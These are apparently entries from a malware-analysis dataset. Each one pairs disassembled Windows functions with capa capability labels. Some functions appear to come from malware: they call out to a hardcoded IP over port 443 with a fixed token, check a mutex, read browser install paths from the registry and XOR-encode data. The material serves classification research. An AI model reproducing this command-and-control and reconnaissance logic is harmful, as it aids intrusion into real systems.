joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42d258
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff04
mov eax, 0x44eea4
call fcn.004398fc
mov word [ebp - 0xc4], 0xc
mov edx, 0x44f148
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ecx + 8], eax
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0
mov dword [edx + 0x10], 0
call fcn.0040a14c
test al, al
jne 0x42d388
lea ecx, [ebp - 0xfc]
push ecx
call sub.KERNEL32.DLL_GetSystemInfo
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x10
jb 0x42d446
call fcn.0042ceb8
mov edx, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
jne 0x42d37a
push dword [ebp + 8]
call fcn.0042d82c
pop ecx
test al, al
jne 0x42d446
lea eax, [ebp - 0xd4]
push eax
push 0
push 0
push 0
push 1
push 0x42d588
push 0
mov word [ebp - 0xc4], 0x24
push 0x44ec28
lea edx, [ebp - 0x58]
push edx
call fcn.00404e28
add esp, 8
inc dword [ebp - 0xb8]
lea ecx, [ebp - 0x58]
push ecx
lea eax, [ebp - 0x30]
push eax
call fcn.0042d45c
add esp, 8
add dword [ebp - 0xb8], 3
dec dword [ebp - 0xb8]
push 2
lea edx, [ebp - 0x58]
push edx
call fcn.00404e84
add esp, 8
mov word [ebp - 0xc4], 0x18
lea ecx, [ebp - 0x30]
push ecx
push 0x42d524
call fcn.004444bc
add esp, 0x24
jmp 0x42d446
push dword [ebp + 8]
call fcn.0042da00
pop ecx
jmp 0x42d446
call fcn.0042ceb8
mov edx, dword [ebp + 8]
mov dword [edx + 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x42d43d
push dword [ebp + 8]
call fcn.0042d82c
pop ecx
test al, al
jne 0x42d446
lea ecx, [ebp - 0xd4]
push ecx
push 0
push 0
push 0
push 1
push 0x42d588
push 0
mov word [ebp - 0xc4], 0x3c
push str.Unable_to_dispatch_SetThreadAffinityMaskX64.exe
lea eax, [ebp - 0xb0]
push eax
call fcn.00404e28
add esp, 8
inc dword [ebp - 0xb8]
lea edx, [ebp - 0xb0]
push edx
lea ecx, [ebp - 0x88]
push ecx
call fcn.0042d45c
add esp, 8
add dword [ebp - 0xb8], 3
dec dword [ebp - 0xb8]
push 2
lea eax, [ebp - 0xb0]
push eax
call fcn.00404e84
add esp, 8
mov word [ebp - 0xc4], 0x30
lea edx, [ebp - 0x88]
push edx
push 0x42d524
call fcn.004444bc
add esp, 0x24
jmp 0x42d446
push dword [ebp + 8]
call fcn.0042da00
pop ecx
mov ecx, dword [ebp - 0xd4]
mov dword fs:[0], ecx
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x42ee48
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
mov dword [ebp - 4], 0x1000
lea eax, [ebp - 0x1010]
mov dword [ebp - 8], eax
lea edx, [ebp + 0xc]
mov dword [ebp - 0xc], edx
push dword [ebp - 0xc]
push dword [ebp + 8]
push 0xffd
push dword [ebp - 8]
call fcn.0043c378
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x42ee91
mov ecx, 0xffd
jmp 0x42ee94
mov ecx, dword [ebp - 0x10]
add dword [ebp - 8], ecx
jmp 0x42eea2
dec dword [ebp - 8]
mov eax, dword [ebp - 8]
mov byte [eax], 0
lea edx, [ebp - 0x1010]
cmp edx, dword [ebp - 8]
jae 0x42eebf
mov eax, dword [ebp - 8]
movsx edx, byte [eax - 1]
push edx
call fcn.0043d484
pop ecx
test eax, eax
jne 0x42ee99
mov ecx, dword [ebp - 8]
mov byte [ecx], 0xd
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
inc dword [ebp - 8]
mov edx, dword [ebp - 8]
mov byte [edx], 0
lea ecx, [ebp - 0x1010]
push ecx
call sub.KERNEL32.DLL_OutputDebugStringA
mov esp, ebp
pop ebp
ret

Function at 0x430080
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
lea ebx, [ebp + 8]
mov eax, 0x451930
call fcn.004398fc
mov word [ebp - 0x18], 0xc
mov edx, 0x451e34
mov ecx, dword [ebx]
mov dword [ecx], edx
push 0x10
call fcn.00434bec
pop ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x4300cd
mov word [ebp - 0x18], 0x3c
mov edx, dword [ebp - 4]
push edx
call fcn.00433388
pop ecx
mov word [ebp - 0x18], 0x24
mov ecx, dword [ebp - 4]
jmp 0x4300d0
mov ecx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [eax + 0x3c], ecx
mov word [ebp - 0x18], 0x18
mov eax, dword [ebx]
mov edx, dword [ebx]
add edx, 0xc
mov dword [eax + 0x14], edx
mov ecx, dword [ebx]
mov edx, dword [ebx]
add edx, 0x10
mov dword [ecx + 0x18], edx
mov edx, dword [ebx]
mov eax, dword [ebx]
add eax, 0x1c
mov dword [edx + 0x24], eax
mov eax, dword [ebx]
mov ecx, dword [ebx]
add ecx, 0x20
mov dword [eax + 0x28], ecx
mov ecx, dword [ebx]
mov edx, dword [ebx]
add edx, 0x2c
mov dword [ecx + 0x34], edx
mov edx, dword [ebx]
mov eax, dword [ebx]
add eax, 0x30
mov dword [edx + 0x38], eax
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x18]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x28]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x38]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x14]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x24]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
mov eax, dword [ebx]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x435578
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
lea ebx, [ebp + 8]
mov eax, 0x452ce4
call fcn.004398fc
mov word [ebp - 0x18], 0xc
mov edx, 0x45306c
mov ecx, dword [ebx]
mov dword [ecx], edx
push 0x10
call fcn.00434bec
pop ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x4355c5
mov word [ebp - 0x18], 0x3c
mov edx, dword [ebp - 4]
push edx
call fcn.00433388
pop ecx
mov word [ebp - 0x18], 0x24
mov ecx, dword [ebp - 4]
jmp 0x4355c8
mov ecx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [eax + 0x3c], ecx
mov word [ebp - 0x18], 0x18
mov eax, dword [ebx]
mov edx, dword [ebx]
add edx, 0xc
mov dword [eax + 0x14], edx
mov ecx, dword [ebx]
mov edx, dword [ebx]
add edx, 0x10
mov dword [ecx + 0x18], edx
mov edx, dword [ebx]
mov eax, dword [ebx]
add eax, 0x1c
mov dword [edx + 0x24], eax
mov eax, dword [ebx]
mov ecx, dword [ebx]
add ecx, 0x20
mov dword [eax + 0x28], ecx
mov ecx, dword [ebx]
mov edx, dword [ebx]
add edx, 0x2c
mov dword [ecx + 0x34], edx
mov edx, dword [ebx]
mov eax, dword [ebx]
add eax, 0x30
mov dword [edx + 0x38], eax
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x18]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x28]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x38]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x14]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x24]
mov dword [eax], edx
xor edx, edx
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
mov eax, dword [ebx]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4390e0
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x43a568
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x43a584
call fcn.0043ba34
pop ebx
pop ebp
ret
test byte [ebp + 0xc], 2
je 0x43a5a3
test bl, 1
je 0x43a5a3
call fcn.00441fc4
mov dword [eax], 5
or eax, 0xffffffff
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x43a754
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
test byte [ebp + 0xd], 0xc0
jne 0x43a773
mov eax, dword [0x45415c]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x43a780
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x43a7ad
je 0x43a7bf
sub ecx, 0x100
je 0x43a7cd
sub ecx, 0x100
je 0x43a7d4
sub ecx, 0x100
je 0x43a7c6
jmp 0x43a7db
sub ecx, 0x600
je 0x43a7d4
sub ecx, 0x100
je 0x43a7bf
jmp 0x43a7db
mov edi, 1
jmp 0x43a7e0
mov edi, 2
jmp 0x43a7e0
mov edi, 4
jmp 0x43a7e0
mov edi, 5
jmp 0x43a7e0
mov edi, 3
test byte [ebp + 0xd], 1
je 0x43a807
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x453bd4]
test al, 0x80
je 0x43a800
mov ebx, 0x80
jmp 0x43a819
mov ebx, 1
jmp 0x43a819
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x43a819
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x43a82b
je 0x43a834
dec eax
je 0x43a83d
jmp 0x43a846
mov dword [ebp - 4], SysStringLen
jmp 0x43a855
mov dword [ebp - 4], 0x40000000
jmp 0x43a855
mov dword [ebp - 4], 0xc0000000
jmp 0x43a855
push 1
call fcn.0043b9c8
pop ecx
mov ebx, eax
jmp 0x43a945
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x43a871
sub eax, 0x10
je 0x43a878
sub eax, 0x10
je 0x43a881
sub eax, 0x10
je 0x43a88a
jmp 0x43a88a
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x43a891
mov dword [ebp - 8], 1
jmp 0x43a891
mov dword [ebp - 8], 2
jmp 0x43a891
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x43a8fe
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x43a8f3
test byte [ebp + 0xd], 1
je 0x43a8ee
mov ebx, 0x50
jmp 0x43a8f3
mov ebx, 2
push ebx
call fcn.0043b9c8
pop ecx
mov ebx, eax
jmp 0x43a945
mov edi, esi
push edi
call fcn.0043a6c4
pop ecx
test eax, eax
je 0x43a912
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x43a91e
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.0043b70c
add esp, 8
mov ebx, eax
inc eax
jne 0x43a945
push 4
call fcn.0043b9c8
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e670
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.KERNEL32.DLL_GetLocaleInfoA
push str._._n
lea ecx, [ebp - 0x200]
push ecx
call fcn.00439560
add esp, 8
lea eax, [ebp - 0x200]
push eax
call fcn.00439678
pop ecx
mov edx, pe_nt_image_headers32
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call fcn.00439678
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x454d45
lea ecx, [ebp - 0x200]
push ecx
call fcn.00439560
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call fcn.00439678
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.0043fad0
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x43e781
push esi
call fcn.00439678
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.00439678
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.0043864c
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x43e758
xor eax, eax
jmp 0x43e80a
push esi
call fcn.00439678
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.00439678
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.004394b8
add esp, 0xc
jmp 0x43e7c3
mov edi, ebx
mov edi, dword [edi + 0x24]
push edi
call fcn.00439678
pop ecx
push eax
push esi
call fcn.00439678
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.00439678
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.0043866c
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x43e7c3
xor eax, eax
jmp 0x43e80a
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.00439560
add esp, 8
push 0x454d47
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00439560
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call fcn.00439560
add esp, 8
push 0x454d49
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00439560
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x441f58
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
jne 0x441f85
jmp 0x441fbc
call fcn.00441f08
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00439678
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00439678
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x442028
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x455418], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x442102
cmp dword [0x455414], 0
jne 0x442102
cmp dword [0x455570], 0
je 0x4420bc
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00441e08
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4420a2
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00441e08
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4420a2
lea ebx, [ebp - 0x84]
jmp 0x4420a3
inc ebx
call fcn.00441fe0
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x44213d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x45541c
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00439678
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x45541f
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x44213d
cmp dword [0x455414], 0
je 0x44211c
cmp dword [0x455414], 0xffffffff
je 0x44213d
push esi
call dword [0x455414]
pop ecx
mov eax, dword [0x455418]
test eax, eax
je 0x44213d
cmp dword [0x455418], 0xffffffff
je 0x44213d
cmp byte [eax], 0
je 0x44213d
push esi
push eax
call fcn.00441f58
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x442bf8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
mov dword [ebp - 4], esi
cmp edi, 1
jne 0x442c7e
mov eax, dword [0x466eb8]
inc dword [0x466eb8]
test eax, eax
jne 0x442c7e
call sub.KERNEL32.DLL_GetEnvironmentStringsW
mov dword [0x466e9c], eax
mov edx, dword [ebp + 0x10]
mov dword [0x44508b], edx
mov ecx, dword [esi + 0x44]
push ecx
call fcn.0043b104
pop ecx
cmp dword [0x4554b8], 0
je 0x442c69
call fcn.00442aa8
mov ebx, eax
test eax, eax
je 0x442c69
mov edx, dword [ebx]
cmp dword [ebx + edx*4 + 4], 0xffffffff
je 0x442c69
mov ecx, dword [ebx]
inc dword [ebx]
mov dword [ebx + ecx*4 + 4], esi
jmp 0x442c7e
xor eax, eax
lea edx, [ebp - 8]
push 0
push edx
mov dword [0x4554b8], eax
call fcn.00442ab0
add esp, 8
mov ecx, dword [ebp + 0x18]
push ecx
push edi
mov eax, dword [ebp + 0x10]
push eax
mov edx, dword [esi + 0x18]
push edx
call fcn.00442d8c
mov ebx, eax
test edi, edi
jne 0x442ced
test edi, edi
jne 0x442cbe
dec dword [0x466eb8]
jne 0x442cbe
cmp dword [0x466e9c], 0
je 0x442cbe
mov eax, dword [0x466e9c]
push eax
call sub.KERNEL32.DLL_FreeEnvironmentStringsW
xor edx, edx
mov dword [0x466e9c], edx
cmp dword [0x466eb8], 0
jne 0x442ced
cmp dword [0x4554b8], 0
jne 0x442ced
cmp dword [0x4554a8], 0
je 0x442cdf
call dword [0x4554a8]
push 1
lea ecx, [ebp - 8]
push ecx
call fcn.00442ab0
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x43b64a
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop eax
inc edx
dec esi
sub esi, 0x8ead594e
call fcn.0043b686
add edx, 1
xor dword [ecx], eax
sub esp, 4
mov dword [esp], edx
pop esi
push edx
pop esi
inc ecx
sub esi, edx
cmp ecx, ebx
jne fcn.0043b64a
and edx, esi
ret
Function at 0x401020
Capabilities:
Get geographical location
Get hostname
Identify system language via api
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov dword [ebp - 8], 0
push 0x190
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.00408d30
add esp, 0xc
mov dword [ebp - 4], 0x104
call fcn.00401100
mov dword [0x4260a0], eax
call fcn.00403480
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x4265a8], eax
call fcn.00406730
call fcn.00405f20
push pe_nt_image_headers32
push 0x426528
call fcn.00403690
add esp, 8
push 9
push 0x4260a4
push 0x59
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea edx, [ebp - 4]
push edx
push 0x4260b8
push 1
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov dword [ebp - 4], 0x104
lea eax, [ebp - 4]
push eax
push 0x4262c0
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push 0x60
push 0x4264c8
call fcn.004036f0
add esp, 8
lea ecx, [ebp - 0x198]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
push str.64.190.113.79
call fcn.00407750
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401ec0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x10
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
mov edx, 2
mov word [ebp - 0x2c], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 2
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_WSAStringToAddressW]
push 0x1bb
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2a], ax
push 0x10
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [str.ksoei327fuajsp20]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 1], 0
jne 0x401f4f
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [str.ksoei327fuajsp20]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.004066c0
add esp, 0xc
push 0x10
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004065b0
add esp, 0xc
mov eax, 8
imul ecx, eax, 0
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [ebp + edx - 0x3c], 0x58
jne 0x401fb2
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax - 0x38], 0
je 0x401fcc
push 2
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401fcf
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x403480
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword [0x4251f4]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4034b7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x4260a0], 0
jne 0x403501
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4251c8]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x403501
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403510
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push edi
mov dword [ebp - 0x2c], str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallGoogle_Chrome
mov dword [ebp - 0x30], str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallMicrosoft_Edge
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x34], str.InstallLocation
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
and eax, 1
je 0x403549
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp + 8]
and edx, 2
je 0x403557
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x20]
push ecx
push 0x20019
push 0
mov edx, dword [ebp - 0x1c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40367a
lea eax, [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 2
mov edx, dword [ebp - 0x34]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, dword [ebp + 8]
and ecx, 1
je 0x403604
mov dword [ebp - 0xc], 0x425388
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0xc]
mov cx, word [eax]
mov word [ebp - 2], cx
add dword [ebp - 0xc], 2
cmp word [ebp - 2], 0
jne 0x4035aa
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffffe
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov ax, word [edx + 2]
mov word [ebp - 4], ax
add dword [ebp - 0x14], 2
cmp word [ebp - 4], 0
jne 0x4035d7
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 8]
and eax, 2
je 0x403673
mov dword [ebp - 0x10], 0x4253a0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x10]
mov ax, word [edx]
mov word [ebp - 6], ax
add dword [ebp - 0x10], 2
cmp word [ebp - 6], 0
jne 0x403619
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffe
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dx, word [ecx + 2]
mov word [ebp - 8], dx
add dword [ebp - 0x18], 2
cmp word [ebp - 8], 0
jne 0x403646
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, 1
jmp 0x40367c
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret